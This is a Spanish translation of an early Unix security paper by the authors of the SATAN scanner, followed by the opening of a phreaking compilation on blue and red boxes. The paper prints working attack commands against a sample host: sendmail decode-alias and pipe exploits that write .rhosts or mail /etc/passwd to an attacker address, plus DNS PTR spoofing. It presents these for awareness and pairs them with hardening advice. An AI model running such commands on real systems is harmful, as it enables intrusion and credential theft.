El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero

tiene sus propios problemas, principalmente en que es dificil de

administrar, pero tambien en que los metodos de criptologia usados no son

muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de

red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha

limitado a correr bajo Suns.

Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111

o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de

Sun, puede tambien ayudar.

 

 

 

 

 

 

 

El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros

servicios de red pueden ser localizados con el metodo de fuerza bruta que

conecta a todos los puertos de la red. Muchas utilidades de red y sistemas

basados en ventanas “escuchan” en puertos especificos (ej, sendmail esta en

el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc).

SATAN incluye un programa que escanea los puertos de un host remoto e

informa lo que ha encontrado; si lo ejecutaras contra nuestra victima

verias lo siguiente:

 

 

 

evil % tcpmap victim.com

Mapping 128.128.128.1

port 21: ftp

port 23: telnet

port 25: smtp

port 37: time

port 79: finger

port 512: exec

port 513: login

port 514: shell

port 515: printer

port 6000: (X)

 

Esto sugiere que victim.com esta corriendo X windows. Si no esta

correctamente protegido (por via de la cookie magica,magic cookie, o por

mecanismos xhost), el contenido de las ventanas podria capturarse u

observarse, lo que teclean los usuarios robado, ejecutar programas

remotamente, etc. Tambien, si la victima esta usando X windows y acepta un

telnet por el puerto 6000 (X), esto podria ser usado para un ataque de

denegacion de servicio (denial of service attack), ya que el sistema de

ventanas de la victima se suele mantener “congelado” por unos instantes. Un

metodo para determinar la vulnerabilidad de un servidor X (corriendo X

windows) es el de conectarse al mismo por medio de la funcion

XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes

acceder al display de la victima (opendisplay es parte de SATAN):

char   *hostname;

if (XOpenDisplay(hostname) == NULL) {

printf(“Cannot open display: %s\n”, hostname);

} else {

printf(“Can open display: %s\n”, hostname);

}

 

evil % opendisplay victim.com:0

Cannot open display: victim.com:0

 

Los terminales X, aunque mucho menos potentes que un sistema UNIX completo,

pueden tener sus propios problemas de seguridad. Muchos terminales X

permiten accesos rsh no restringidos, permitiendote iniciar programas

clientes X en el terminal de la victima apareciendo los resultados en tu

propia pantalla:

evil % xhost +xvictim.victim.com

evil % rsh xvictim.victim.com telnet victim.com -display evil.com

En cualquier caso, dale la misma importancia a la seguridad de tu sistema de ventanas, como a la de tu sistema de archivos y utilidades de red, ya que si no puede comprometer tu sistema igual que un “+” en el host.equiv o una cuenta root sin password.

Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo

que tiene un largo historial de problemas de seguridad, incluyendo el

infame comando “wiz” (por suerte hace mucho que se deshabilito en todas las

maquinas). A menudo puedes determinar el sistema operativo, a veces hasta

la version, de la victima, mirando al numero de version de sendmail. Esto,

nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los

muchos bugs. Adicionalmente, puedes ver si usan el alias “decode”, que

posee su propio set de problemas:

evil % telnet victim.com 25

connecting to host victim.com (128.128.128.1.), port 25

connection open

220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00

PDT

expn decode

250 <”|/usr/bin/uudecode”>

quit

 

El usar el alias “decode” es un riesgo de seguridad – permite a los

atacantes en potencia sobreescribir cualquier fichero que fuese escribible

por el poseedor de ese alias – a menudo un daemon, pero potencialmente

cualquier usuario. Considera este trozo de mail – esto pondra a “evil.com”

en el archivo .rhost del usuario zen si es que fuera escribible.

evil % echo “evil.com” | uuencode /home/zen/.rhosts | mail

decode@victim.com

Si no se conocen o no hay home directories escribibles, una interesante variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que contenga un alias con un comando que quieras ejecutar en tu victima. Esto puede funcionar debido a que en muchos sistemas los archivos aliases.pag y aliases.dir, que controlan los alias de mail del sistema, son escribibles para todo el mundo.

evil % cat decode

bin: “| cat /etc/passwd | mail zen@evil.com

evil % newaliases -oQ/tmp -oA‘pwd‘/decode

evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com

evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

 

Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una

direccion es aceptable (vrfy), o hasta donde se expande una direccion

(expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn

pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn

pueden tambien ser usados para descubrir si el usuario esta ejecutando mail

por medio de cualquier programa susceptible de ser explotado (ej, vacation,

mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos

vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del

archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura

CmdTab que tengan los strings “vrfy” y “expn”. Sites sin codigo pueden

tambien desabilitarlos simplemente editando el ejecutable del sendmail con

un editor binario y reemplazando “vrfy” y “expn” por espacios en blanco.

El adquirir una version reciente del sendmail (ver apendice D) es tambien

una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail

que encualquier otro programa UNIX.

os bugs muy conocidos que deben ser tratados. El primero fue

definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los

mensajes de abajo, para versiones de sendmail previas a la 5.59, “evil.com”

se añade, a pesar de los mensajes de error, junto con los tipicos headers

del mail, al archivo especificado:

% cat evil_sendmail

telnet victim.com 25 << EOSM

rcpt to: /home/zen/.rhosts

mail from: zen

data

random garbage

.

rcpt to: /home/zen/.rhosts

mail from: zen

data

evil.com

.

quit

EOSM

 

evil % /bin/sh evil_sendmail

Trying 128.128.128.1

Connected to victim.com

Escape character is ‘^]’.

Connection closed by foreign host.

evil % rlogin victim.com -l zen

Welcome to victim.com!

victim %

El segundo agujero, recientemente solucionado, permitia a cualquiera especificar comandos arbitrarios de shell y/o caminos de ruta para el remitente y/o direccion de destino. Los intentos por mantener los detalles en secreto fueron en vano, y extensas discusiones en listas de correo o grupos de news de usenet llevaron a revelar como explotar los bugs de algunas versiones. Como en muchos bugs de UNIX, casi todas las distribuciones de sendmail eran vulnerables al problema, ya que todas compartian un ancestral codigo fuente comun. El espacio nos impide discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero de passwords seria de la siguiente manera:

evil % telnet victim.com 25

Trying 128.128.128.1…

Connected to victim.com

Escape character is ‘^]’.

220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04

mail from: “|/bin/mail zen@evil.com < /etc/passwd”

250 “|/bin/mail zen@evil.com < /etc/passwd”… Sender ok

rcpt to: nosuchuser

550 nosuchuser… User unknown

data

354 Enter mail, end with “.” on a line by itself

.

250 Mail accepted

quit

Connection closed by foreign host.

evil %

 

Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver

apendice D para informacion sobre como conseguirlo) es la unica variante

del sendmail con todos los bugs recientes corregidos (ni de coña J).

Confianza

Para nuestro ultimo topico de vulnerabilidad, nos desviaremos de la estrategia practica que hemos seguido previamente para meternos un poco mas en la parte teorica, y discutir brevemente la nocion de la confianza. Las cuestiones e implicaciones de la vulnerabilidad aquí, son un poco mas sutiles y lejanas de alcanzar que las que hemos apuntado anteriormente; en el contexto de este texto usamos la palabra confianza siempre que se da la situacion de que un servidor (siempre que un host permite acceso remoto se le puede llamar servidor) permita que un recurso local sea usado por un cliente sin autentificacion de password cuando dicha autentificacion es normalmente requerida. En otras palabras, limitamos arbitrariamente la discusion a los clientes “disfrazados”.

Hay muchas maneras de un host pueda confiar: los ficheros .rhosts y hosts.equiv que permiten el acceso sin verificacion de password; servidores basados en ventanas que permiten a los sistemas remotos el uso y abuso de privilegios; archivos exportados que controlan el acceso via NFS, y mas.

 

Casi todos estos dependen de la conversion del IP del cliente al nombre del

host para determinar si se concede el servicio o no. El metodo mas simple

usa el archivo /etc/hosts para una busqueda directa. Sin embargo, hoy en

dia la mayoria de hosts usan o bien DNS (Domain Name Service), NIS, o ambos

para el servicio de busqueda del nombre. Una busqueda inversa ocurre cuando

un servidor tiene una direccion IP (de una conexión de un cliente) y desea

coger el correspondiente nombre del host del cliente.

Auqnue el concepto de como funciona la confianza del host es bien sabido por muchos administradores de sistema, los peligros de la confianza, y el problema practico que representa, sin tomar en consideracion la interpretacion del nombre del host, es uno de los problemas menos entendidos que conocemos en Internet. Esto va mas alla de los obvios ficheros hosts.equiv y .rhosts; NFS, NIS, sistemas de ventanas – de hecho, muchos de los utiles servicios en UNIX estan basados en el concepto de que sites bien conocidos (para un administrador o ususario) son de alguna manera de confianza. Lo que no se entiende es como las redes atan de forma tan estrecha la seguridad entre lo que normalmente se consideran hosts inconexos.

Cualquier forma de confianza puede ser engañada, burlada, o derribada, especialmente cuando la autoridad que tiene la responsabilidad de chequear los credenciales de un cliente esta o bien fuera del dominio administrativo del servidor, o cuendo el mecanismo de confianza esta basado de alguna forma en metodo que tiene una forma debil de autentificacion; normalmente ambos son el caso.

Obviamente, si el host que contiene la base de datos (bien NIS, DNS, o o lo que sea) ha sido comprometido, el intruso puede convencer al host victima de que el viene de cualquier host de confianza; ahora es suficiente con encontrar que hosts son de confianza para la victima. Esta tarea es en gran medida facilitada examinado de donde los administradores de sistema y las cuentas del sistema (tales como root, etc.) se conectaron por ultima vez.  Volviendo a nuestra victima, victim.com, puedes ver que la cuenta root asi como otras cuentas del sistema se conectaron desde big.victim.com. Cambias el registro PTR para evil.com de forma que cuando intentes hacer un rlogin (login remoto) desde evil.com a victim.com, evil.com intentara buscar tu nombre de host y encontrara lo que pusistes en el registro. Si el registro en la base de datos DNS es asi:

1.192.192.192.in-addr.arpa     IN      PTR     evil.com

y lo cambias por:

1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com

entonces, dependiendo de como sea de ingenuo el software de victim.com, victim.com creera que el acceso proviene de big.victim.com, y, asumiendo que big.victim.com este en los ficheros /etc/hosts.equiv o /.rhosts, te sera posible aceder sin tener que proporcionar un password. Con NIS, es cuestion de o bien editar la base de datos del host en el NIS maestro (si es que este esta controlado por el intruso) o de burlar o forzar el NIS (ver discusion sobre la seguridad del NIS arriba) para proporcionar a la victima cualquier informacion que desees. Aunque mas complejos, dañinos e interesantes ataques pueden ser realizados por medio del DNS, el tiempo y el espacio no permiten cubrir dichos metodos aquí.

Dos metodos puedem ser usados para prevenir dichos ataques. El primero es el mas directo, pero quizas mas poco practico. Si tu site no usa ningun metodo de confianza, no seras tan vulnerable al engaño de host. La otra estrategia es la de usar protocolos encriptados. El usar el seguro protocolo RPC (usado en NFS, NIS+, seguros) es un metodo; aunque ha sido “roto” criptograficamente, aun da mas seguridad que los procedimientos de autentificacion RPC que no usan ningun tipo de metodo de encriptacion.  Otras soluciones, tanto de hardware (smartcards) como de software (Kerberos), estan siendo desarroladas, pero estan o bien incompletas o requieren cambios en el software de el sistema.

El apendice B detalla los resultados de un estudio informal tomado de una variedad de hosts en Internet.

rotegiendo el sistema

 

Es nuestra esperanza el que hallamos demostrado que incluso algunos de los

aparentemente inocuos servicios ofrecidos (algunas veces inesperadamente)

pueden ser “municion” para determinados crackers de sistemas. Pero, por

supuesto, si la seguridad fuera nuestra unica preocupacion, los ordenadores

jamas estarian encendidos, y enganchados a una red con literalmente

millones de intrusos en potencia. Mas que dar avisos de que deberia o no

ncenderse, ofreceremos algunas sugerencias generales:

Si no puedes quitar el servicio finger, considera el instalar un nuevo     finger daemon. Es raramente necesario el revelar el home directory de un usuario y la procedencia de su ultimo acceso.

No corras NIS a menos que sea absolutamente necesario. Usalo lo menos posible.

Jamas exportes sistemas de archivo NFS sin restriccion, a todo el mundo.  Trata de exportar sistemas de archivos de solo lectura cuando sea posible.

“Fortifica” y protege los servidores (ej, los hosts que dan un servicio a otros hosts – NFS, NIS, DNS, o lo que sea.). Solo permite cuentas administrativas en dichos hosts.

Examina cuidadosamente los servicios ofrecidos por inetd y el mapeador de puertos (pormapper). Elimina todos aquellos que no sean totalmente necesarios. Usa los inetd wrappers de Wietse Venema, no para otra funcion que la de tener un log de las fuentes de conexiones a tu host.  Esto aporta grandes mejoras a las caracteristicas de verificacion standard de UNIX, especialmente con referencia a los ataques de red. Si es posible, usa los metodos loghost de syslog para obtener informacion relacionada con la seguridad en un host seguro.

Elimina los metodos de confianza a menos que su uso sea totalmente necesario. La confianza es tu enemigo.

Usa passwords shadowed y el comando passwd para rechazar passwords

pobres, debiles. Desabilita cuentas de usuario o de sistema no usadas o

inactivas.

 

Estate al tanto de la literatura actual (observa la lista de lectura y

bibliografua sugerida al final de este documento) y de las herramientas

de seguridad; informa a los demas acerca de problemas e incidentes de

seguridad. Como minimo, suscribete a la lista de mail del CERT y de la

revista PHRACK (ademas de la lista de mail de los firewalls, si tu site

esta usando o piensa instalar firewalls) y lee los grupos de news de

usenet acerca de seguridad para asi obtener la ultima informacion sobre

problemas de seguridad. La ignorancia es el problema de seguridad mas

mortal de los que estamos al tanto.

Instala todos los parches de seguridad tan pronto como sea posible, en todos tus hosts. Examina la informacion de los parches de seguridad de otras distribuciones – muchos bugs (rdist, sendmail) son comunes en muchas variantes UNIX.

Es interesante el ver que soluciones comunes para problemas de seguridad , tales como usar Kerberos o el usar passwords de usar y tirar o tokens digitales no son efectivas contra muchos de los ataques discutidos aquí.  Recomendamos de verdad el uso de tales sistemas, pero alertamos que no son la solucion TOTAL a los problemas de seguridad – son parte de un esfuerzo ayor de proteger tu sistema.

Conclusiones

Tal vez ninguno de los metodos expuestos aquí sean sorprendentes; cuando se escribio este documento, no aprendimos mucho sobre como irrumpir en sistemas. Lo que aprendimos fue, testeando estos metodos en nuestros propios sistemas y en sites amigos, lo efectivos que son estos metodos a la hora de ganar acceso a un tipico host Unix de Internet. Cansado de tratar de teclear todo esto a mano, y deseando mantener nuestros propios sistemas mas seguros, decidimos poner en practica una herramienta de seguridad (SATAN) que trata de chequear hosts remotos al menos para alguno de los problemas discutidos aquí. La tipica respuesta, cuando informabamos a la gente acerca de nuestro documento y nuestra herramienta, era algo del estilo de “eso suena bastante peligroso – espero que no vayas a darlo a todo cristo. Pero ya que tu confias en mi, podria tener una copia?”

Jamas pensamos en crear un cookbook o una herramienta de metodos y programas soobre/para irrumpir en sistemas – en vez de eso, vemos que estos mismos metodos fueron usados, todos los dias, contra nosotros y contra administradores de sistema amigos. Creemos que el propagar la informacion que normalmente no era accesible para aquellos que estuvieran fuera del underworld, podemos aumentar la seguridad incrementando la conciancia del peligro.. El intentar restringir el acceso a informacion “peligrosa” sobre seguridad nunca ha sido un metodo muy util para incrementar la seguridad; de hecho, lo contrario parece ser el caso, ya que los crackers de sistemas han sido reticentes a la hora de compartir informacion con otros.

 

Mientras es casi seguro que alguna de la informacion aquí presentada es

material nuevo para aspirantes a crackers de sistemas, y que algunos la

usaran para ganarse accesos no autorizados en hosts, la evidencia

presentada por nuestros tests muestra que hay un monton de sites inseguros,

simplemente por que el administrador de sistema no sabe mucho mas – no son

estupidos o lentos, simplemente no son capaces de pasar el poco tiempo que

tienen libre explorando todas las materias de seguridad pertenecientes a

sus sistemas. Combinado esto con el hecho de que no tienen un acceso facil

a este tipo de informacion da como resultado sistemas pobremente

defendidos.

Esperamos (modetamente) que este documento provea de datos muy necesarios sobre como los sistemas son crackeados, y mas aun, explique por que se deben de dar ciertos pasos para proteger un sistema. El saber por que algo es un problema es, en nuestra opinion, la clave para aprender y hacer una eleccion informada e inteleginte para lo que la seguridad de tu sistema significa de verdad.

Apendice A:

SATAN (Security Analysis Tool for Auditing Networks)

Concebido originalmente hace unos años, SATAN es actualmente el prototipo de una vision mas amplia y comprensible de una herramineta de seguridad. En su encarnacion actual, SATAN prueba e informa remotamente acerca de varios bugs y debilidades en servicios de red y sistemas basados en ventanas, asi como tambien detalla tanta informacion util sobre la victima como le es posible. Entonces procesa los datos con un filtro y con lo que se calificaria como un sistema experto para al final generar el analisis de seguridad. A pesar de no ser particularmente rapido, es extremadamente adaptable y facil de modificar.

 

SATAN consiste en varios sub-programas, cada uno de los cuales es un

fichero ejecutable (perl, shell, binario compilado en C, lo que sea) que

testea un host para una debilidad potencial dada. El añadir futuros

programas de testeo es tan facil como poner un ejecutable en el directorio

principal con la extension “.sat”; el programa principal lo ejecutara

automaticamente. Este genera una serie de blancos (usando DNS y una version

rapida de ping a la vez para llegar a los blancos en directo), y despues

ejecuta cada uno de los programas sobre cada uno de los blancos. Un

programa de interpretacion/filtrado de datos analiza despues el resultado,

y finalmente un programa de informes digiere todo para ponerlo en un

formato mas leible.

El paquete entero, incluyendo el codigo fuente y la documentacion, estara disponible libremente al publico, via ftp anonimo y postenadolo a uno de los numerosos foros sobre codigo fuente de Usenet.

Apendice B

Un estudio informal llevado a cabo en al menos una docena de sites en Internet (educacionales, militares, y comerciales, con unos 200 hosts y 4000 cuentas) revelo que como media, alrededor del 10% de las cuentas de un site tenian archivos .rhosts. Cada uno de estos archivos promediaba 6 hosts confiados; sin embargo, no era raro el tener unas 100 entradas en el archivo .rhosts de una cuenta, y en algunas ocasiones, esta cifra estaba alrededor de 500! (Este no es un record del que uno deberia estar orgulloso de poseer). Adicionalmente, cada uno de los sites directamente en Internet (un site estaba practicamente tras un firewall) confiaba en un usuario o host en otro site – asi que, la seguridad del site no estaba bajo el control directo del administrador de sistema. Los sites mas grandes, con mas usuarios y hosts, tenian un porcentaje mas bajo de usuarios con archivos .rhosts, pero el tamaño de estos archivos era mayor, asi como el numero de hosts remotos de confianza.

Aunque fue muy dificil el verificar cuantas de las entradas fueron validas, con nombres de host tales como “Makefile”, “Message-Id:”, and “^Cs^A^C^M^Ci^C^MpNu^L^Z^O”, asi como unas pocas entradas de wildcard, nos cuestionamos la sensatez de poner la seguridad de un site en manos de sus usuarios. Muchos usuarios (especialmente los poseedores de largos archivos .rhosts) intentaron poner comentarios tipo shell en sus archivos .rhosts, que son intentados reolver como nombre de host validos por muchos sistemas UNIX. Desafortunadamente, un atacante puede entonces usar las tecnicas DNS y NIS de engaño del nombre de host discutidas antes para fijar sus nombres de host como “#” y entrar libremente. Esto pone en riesgo a muchos sites (al menos una distribucion es dada con comentarios en sus archivos /etc/hosts.equiv).

Podrias pensar que estos sites no son tipicos, y, de hecho, no lo eran.  Virtualmente todos los administradores saben un monton sobre seguridad y escriben programas de seguridad como hobby o como profesion, y muchos de los sites para los que trabajaron hicieron estudios de seguridad o crearon roductos de seguridad. Solo podemos suponernos como sera un site “tipico”.  apendice C:

Despues de recibir mail de un site que habia sido violado desde uno de nuestros sistemas, se inicio una investigacion. Con el tiempo, encontramos que el intruso estaba haciendolo desde una lista de sites “.com” (comerciales), buscando hosts con ficheros de password faciles de robar. En este caso, “facil de robar” se refiere a sites con un nobre de dominio NIS facil de adivinar y un servidor NIS de facil acceso. Sin saber cuan lejos habia llegado el intruso, parecia una buena idea el alertar a los sites que eran en si vulnerables al robo de passwords. De los 656 hosts de la lista del intruso, 24 tenian archivos de password susceptibles de robo – 1 de cada 25 hosts mas o menos!!. Un tercio de estos archivos  contenia al menos una cuenta sin password con shell interactivo. Con un total de 1594 entradas, a una media de 10 minutos corriendo un password cracker (Crack) daria mas de 50 passwords, usando una estacion de trabajo Sun de gama baja.  Otros 40 mas se encontaron en los siguientes 20 minutos; y un password de la cuenta root se encontro en solo 1 hora. El resultado despues de unos dias de crackeo fue: 5 passwords root, 19 de 24 archivos de password (80%) con al menos un password conocido, y 259 de 1594 (1 sexto) passwords adivinados.

Apendice D:

Como conseguir metodos de seguridad gratis en Internet

Listas de mail:

o The CERT (Computer Emergency Response Team) advisory mailing list.

Mandar e-mail a cert@cert.org, y pedir que se te ponga en su lista de mail.

 

subscribe firewalls

  • Computer Underground Digest.  Mandar e-mail a

tk0jut2@mvs.cso.niu.edu, pidiendo que te pongan en la lista.

Software gratis:

 

COPS (Computer Oracle and Password System) disponible via ftp

anonimo fde archive.cis.ohio-state.edu, in pub/cops/1.04+.

The tcp wrappers disponibles via ftp anonimo de ftp.win.tue.nl, in pub/security.

 

Crack esta disponible en ftp.uu.net, in /usenet/comp.sources.misc/volume28.

TAMU is a UNIX auditing tool that is part of a larger suite of excellent tools put out by a group at the Texas A&M University.  They can be gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

 

Sources for ftpd and many other network utilities can be found in

ftp.uu.net, in packages/bsd-sources.

 

Source for ISS (Internet Security Scanner), a tool that remotely scans

for various network vulnerabilities, is available via anonymous ftp from

ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

 

Securelib is available via anonymous ftp from ftp.uu.net, in

usenet/comp.sources.misc/volume36/securelib.

 

The latest version of berkeley sendmail is available via anonymous ftp

from ftp.cs.berkeley.edu, in ucb/sendmail.

Tripwire, a UNIX filesystem integrity checker+, is available via anonymous ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

 

SPANISH PHREAKING RECOPILATION  Issue 1

 

Bienvenidos al primer n£mero de SPR (Spanish Phreaking Recopilation).

Esto no pretende ser ning£n ezine nuevo ni nada por el estilo. Solamente es

una recopilaci¢n de diversos trucos y m‚todos que han ido apareciendo en la

red. Por supuesto no he incluido grandes trabajos, considero que es

suficiente con reagrupar peque¤as cosas. As¡ que no me enrrollar‚ m s.

Espero que sea del agrado del p£blico. Ahh, si alguien echa en falta alg£n

documento, que me lo comunique. Email: privateer@arrakis.es

 

CONTENIDOS:

  • Phreak (Por La Vieja Guardia)
  • Iniciaci¢n a la Blue Box (Agnus Young)
  • Trucos para cabinas (Autor desconocido)
  • Reprogramaci¢n del OKI 900 (t800@redestb.es)
  • Reprogramaci¢n del OKI 1325 (t800@redestb.es)
  • Blue-box y dem s (Autor desconocido)
  • Esquema para pinchar lineas telefonicas (Autor desconocido)
  • Phreak con Moviles anal¢gicos (Por Cacique & ICE-Kid)
  • Tarjetas telefonicas (Juan Manuel Garc¡a L¢pez)
  • Otro emulador de Tarjetas de (T) (Autor desconocido)

 

 

PHREAK

El phreaking empez¢ en los inicios de la d‚cada de los 60 cuando un tal Mark Bernay descubri¢ como aprovechar un error de seguridad de Bell. Este error se basaba en la utilizaci¢n de los mecanismos loop-arround-pairs como via para realizar llamadas gratuitas.

Lo que Bernay descubri¢ fue que dentro de Bell exist¡an unos n£meros de prueba que servian para que los operarios comprobaran las conexiones. Estos n£meros sol¡an ser dos y consecutivos, y estaban enlazados de tal manera que si se llamaba a uno este conectaba con el otro. As¡ pues si alguien en EEUU marcaba una serie de estos n£meros de prueba consecutivos podria hablar gratuitamente :).

Este descubrimiento fue potenciado sobre todo por los j¢venes de aquel entonces, los cuales solo lo utilizaban con el fin de ahorrase dinero a la hora de hablar con sus amigos. Pero la cosa cambio cuando cierto numero de estos descubrieron que Bell era un Universo sin explorar y al que se le podria sacar mas partido que el de unas simples llamadas gratuitas. Asi pues de los rudimentarios loop-arround-pairs se paso a la utilizaci¢n de ciertos aparatos electr¢nicos, los cuales son conocidos ahora como boxes. La primera box que se encontr¢ fue hallada en 1961 en el Washington State College, y era un chisme con una carcasa met lica que estaba conectado al tel‚fono…  autom ticamente fue llamado Blue Box (caja azul).

Estas boxes lo que hacian era usar el nuevo sistema de Bell para redirigir las llamadas: los tonos. Esto es, cuando se marcaba un n£mero, este lo identificaba Bell como una combinaci¢n de notas musicales que eran creadas por 6 tonos maestros, los cuales eran los que controlaban Bell y por lo tanto eran secretos…o al menos eso pretend¡an. El como los phreakers llegaron a enterarse del funcionamiento de estos tonos fue algo muy simple y est£pido :

Bell, orgullosisima de su nuevo sistema lo public¢ detalladamente en dos

revistas que iban dirigidas £nica y exclusivamente a los operarios de la esta

compa¤¡a telef¢nica, lo que paso es que no cayeron en la cuenta de que todo

suscriptor de esa revista recibi¢ tambi‚n en su casa un ejemplar que narraba

el funcionamiento de Bell…incre¡ble pero cierto :).

Bien, una vez que los phreakers conocieron los secretos la compa¤¡a telef¢nica no les fue muy dificil reprodicir esos tonos y utilizarlos de la misma forma que lo hacia Bell. Las primeras Blue boxes eran unos aparatos que tenian unos tubos de vac¡o (precursores de los transistores) que emit¡an tonos. Tambi‚n eran conocidas como MFs (multifrequency trasmitters). Pero desde aquel entonces las Blue Box han evolucionado mucho…

M s o menos por esas fechas Bell ya estaba bastante ocupada intentando acabar con lo que ahora de conoce como Red Boxes (cajas rojas), que eran unos artilugios mas simplones que las Blue Boxes pero que tambi‚n eran muy utilizados. Solian ser un tel‚fono de campo militar o uno corriente modificado que se conectaban a un aparato Bell. Su funcionamiento era muy simple (pero efectivo), mandaban una se¤al lo suficientemente corta para que la centralita pensara que la llamada no hab¡a sido descolgada cuando en realidad si lo hab¡a sido. Por ejemplo, supongamos que instalamos una cajita roja en casa de un amigo, al que luego llamamos por un tel‚fono p£blico.  Nuestro colega no tendr  m s que apretar un botoncito para mandar una se¤al y poder hablar gratis. Mientras en la centralita local no se ha registrado que el tel‚fono de nuestro amigo se haya levantado sino que sigue sonando como si no hubiera nadie en casa. Y este era el mayor handicap de las Red Boxes, que solia ser sospechoso que una persona hubiera estado esperando 30 o 40 minutos a que en el destino levantaran el tel‚fono. Tambi‚n exist¡a otra Red Box que imitaba el sonido que hacen las monedas al caer, haciendo creer a la compa¤¡a telef¢nica que la llamada habia sido pagada 🙂

Al poco tiempo sali¢ una variaci¢n de la Red Box inicial que fue llamada Black Box, la cual hacia que el tel‚fono dejara de sonar antes de ser descolgado, de esta manera en la centralita no se facturaba la llamada ya que habia sido cancelada antes de que el destinatario descolgara el tel‚fono.

En realidad no existe ning£n nombre especifico para cada Box, quiero decir, que lo que uno llame Reb Box otro puede llamarla de otra forma siendo lo mismo, aunque normalmente la Blue Box, la Red Box y la Black Box suelen ser siempre llamadas por estos nombres debido a que fueron las primeras en salir y las mas famosillas…pero no las £nicas (piensa en todos los colores que te sepas y podr s sacar una box por cada uno mas o menos).

La m s famosa y evolucionada era la Blue Box. Para no pagar la llamada los phreakers lo que hac¡an era llamar a un n£mero de informaci¢n de otra ciudad o a un n£mero comercial gratuito (1-800 en EEUU, 900 en Espa¤a…) y despu‚s redirigian la llamada utilizando los tonos de su MF. Profundicemos: cuando se realizaba una llamada lo primero que hace la centralita es leer los primeros d¡gitos marcados que son los que indican que tipo de llama es (larga distancia, urbana…). Supongamos que la llamada realizada es de larga distancia. Para ello la centralita la conecta con una l¡nea de larga distancia que en ese momento este desocupada, la cual emite constantemente un silbido de 2600 ciclos (mmmmh…¨de que me suena este numero?) el cual significa que la l¡nea esta preparada para recibir una llamada. Cuando el phreaker termina de marcar el resto de los n£meros (llamados d¡gitos de direcci¢n) la llamada ha finalizado. La centralita deja al emisor (el phreaker) que marque su n£mero deseado, y la l¡nea vuelve a silbar 2600 ciclos para permitir entrar a la llamada. Es entonces cuando nuestro amigo marcaba un numero gratuito, por ejemplo el 1-800 de cualquier empresa. La centralita local de la zona de la empresa a la que hemos llamado detecta una llamada interurbana a un numero gratuito, y dirige la llamada hacia all¡. Es en ese momento, antes de que la empresa responda, es cuando el phreaker pulsa el bot¢n de su MF, mandando un silbido de 2600 Hz, que es interpretado por la centralita primera como que la llamada ha sido cortada, puesto que la l¡nea silbaba, cosa que hacia cuando estaba libre. Pero mientras tanto en la centralita de la zona de la empresa no se habia detectado nada, sino solamente una llamada a un numero gratuito que no habia finalizado a£n. Asi pues,el phreaker pod¡a marcar pacientemente el n£mero que quisiera, ya que tenia una l¡nea de larga distancia para el solito y de gratis. Ufff, no se si se ha entendido bien…si esta complicado decirlo que intentare enfocarlo de otra manera, ok?

Las blue boxes no solo serv¡an para realizar llamadas gratuitas, sino que proporcionaban a sus usuarios los mismos privilegios que los operadores de Bell.

Lo realmente curioso, y desastroso para Bell, es que algunas personas eran capaces de silbar 2600 ciclos de forma completamente natural. El primer phreaker que utilizaba este m‚todo fue Joe Engressia (ciego) que ha los 8 a¤os y por azar silb¢ por el auricular de su tel‚fono cuando escuchaba un mensaje pregabado y la llamada se corto. Realizo esto varias veces y en todas se le cortaba. La raz¢n es un fen¢meno llamado Talk-Off, que consiste en que cuando alguien silba y alcanza casualmente los 2600 hz, la llamada se corta, como si fuera una Blue Box org nica :). Joe aprendi¢ como potenciar su habilidad para silbar 2600 Hz y ya con 20 a¤os era capaz de llamar, producir los 2600 Hz con su boca y silbar los tonos del n£mero al que quer¡a llamar…  ­incre¡ble!.

Fue avisado de que sus aficiones telef¢nicas eran ilegales y se mudo a otro

estado para ahorrarse problemas. Se mudo a Memphis, ciudad que tenia distritos

telef¢nicos independientes, y se dedico a realizarse como phreaker. Empezaron

a vigilarle y le cogieron; pas¢ la noche en la c rcel. Fue solamente acusado

de poseer una caja azul y de robo intencionado de servicios…en realidad su

£nico delito fue su amor por Bell, la cual se neg¢ a devolverle la l¡nea. Joe

Engressia trabaja actualmente para Bell Mountain :).

Otro phreaker que utilizaba el m‚todo de Engressia, fue John Draper, m s conocido por Capïn Cruch, nick que sac¢ a raiz de un silbato que regalaban con la marca de cereales Capïn Cruch, el cual, podr¡a utilizarse como instrumento para hacer phreaking. Draper hacia algo parecido a lo que que hacia Joe Engressia, soplaba su silbato y la l¡nea se quedaba libre :).  Tambi‚n se dedico a proveer a machismos chicos invidentes cajas azules y les ense¤o a manejarlas, lo que le hizo muy popular. Una vez que Draper fue a Inglaterra habl¢ con uno de sus amigos ciegos que viv¡a en Nueva York. Este le dijo que habia descubierto el c¢digo que utilizaban los operarios de Bell para comprobar la conexi¢n con Inglaterra. Ese c¢digo era 182 + un n£mero de tel‚fono brit nico. Las llamadas efectuadas por esa l¡nea eran gratuitas :).  El descubrimiento se divulgo r pidamente por toda la comunidad phreaker que quer¡an probar la nueva v¡a, pero como casi ninguno conoc¡a a nadie en Inglaterra se dedicaron todos a llamar a Capïn Crunch. Hay que decir que por aquel entonces una llamada intercontinental no era algo muy com£n, y mucho menos si era transatl ntica, para empezar porque la mayor¡a de las veces la llamada podr¡a tardar m s de medio ida en llegar a su destino. 